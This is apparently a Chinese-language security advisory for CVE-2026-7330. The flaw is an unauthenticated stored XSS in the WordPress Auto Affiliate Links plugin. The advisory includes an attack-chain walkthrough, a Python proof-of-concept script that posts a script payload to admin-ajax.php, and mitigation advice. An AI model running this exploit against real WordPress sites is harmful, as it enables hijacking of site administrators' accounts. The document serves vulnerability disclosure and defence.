IPBUF安全漏洞报告
English
CVE-2026-7330 CVSS 7.2 高危

CVE-2026-7330: WP Auto Affiliate Links存储型XSS漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-7330
漏洞类型
存储型跨站脚本 (Stored XSS)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Auto Affiliate Links Plugin

相关标签

CVE-2026-7330WordPressStored XSSAuto Affiliate Links无需认证Web Security

漏洞概述

WordPress Auto Affiliate Links插件在6.8.8及以下版本中存在严重的存储型XSS漏洞。由于插件未对'url'参数进行充分的输入清理,且在输出时未进行转义,未经身份验证的攻击者可利用公开的nonce通过AJAX端点注入恶意脚本。当管理员访问后台统计页面时,脚本将执行,可能导致管理员账户被劫持。

技术细节

该漏洞源于`aal_url_stats_save_action()`函数对POST请求中的'url'参数缺乏输入验证,以及`aal_display_clicks()`函数在输出数据时完全未使用`esc_url()`、`esc_attr()`或`esc_html()`进行转义。攻击者可利用`wp_ajax_nopriv_`钩子注册的无需认证的AJAX端点,结合页面公开暴露的nonce,发送包含恶意JavaScript代码的Payload。该Payload被存储后,当管理员查看包含该数据的统计页面时,恶意代码会被直接回显在锚元素的href属性或文本中,从而在管理员浏览器上下文中执行。

攻击链分析

STEP 1
1. 侦察
攻击者识别目标网站运行WordPress并安装了Auto Affiliate Links插件(版本<=6.8.8)。
STEP 2
2. 获取Nonce
访问站点前端页面,提取插件公开暴露的安全Nonce值。
STEP 3
3. 注入Payload
向`wp-admin/admin-ajax.php`发送未经身份验证的POST请求,利用`wp_ajax_nopriv_`端点,在'url'参数中注入恶意JavaScript代码。
STEP 4
4. 持久化
服务器将恶意数据存储在数据库中,未经过滤处理。
STEP 5
5. 触发漏洞
管理员登录WordPress后台并访问Auto Affiliate Links的统计页面。
STEP 6
6. 执行代码
页面加载时调用`aal_display_clicks()`,恶意脚本直接输出到HTML中被浏览器执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 import requests def exploit(target_url, nonce): """ Proof of Concept for CVE-2026-7330 Sends a malicious payload to the unauthenticated AJAX endpoint. """ ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Malicious script to be stored and executed in admin browser xss_payload = '"><script>alert(1);</script><"' payload_data = { 'action': 'aal_url_stats_save_action', 'url': xss_payload, 'nonce': nonce } try: response = requests.post(ajax_url, data=payload_data) if response.status_code == 200: print(f"[+] Payload sent successfully to {target_url}") print(f"[+] Check the admin stats page to trigger the XSS.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target and nonce extracted from the page target = "http://example.com" nonce_value = "extracted_public_nonce" exploit(target, nonce_value)

影响范围

WordPress Auto Affiliate Links <= 6.8.8

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用Auto Affiliate Links插件。管理员应谨慎对待未知的来源链接,避免在登录状态下访问不可信的页面。此外,可以通过Web应用防火墙(WAF)规则拦截针对`/wp-admin/admin-ajax.php`的特定恶意POST请求。

参考链接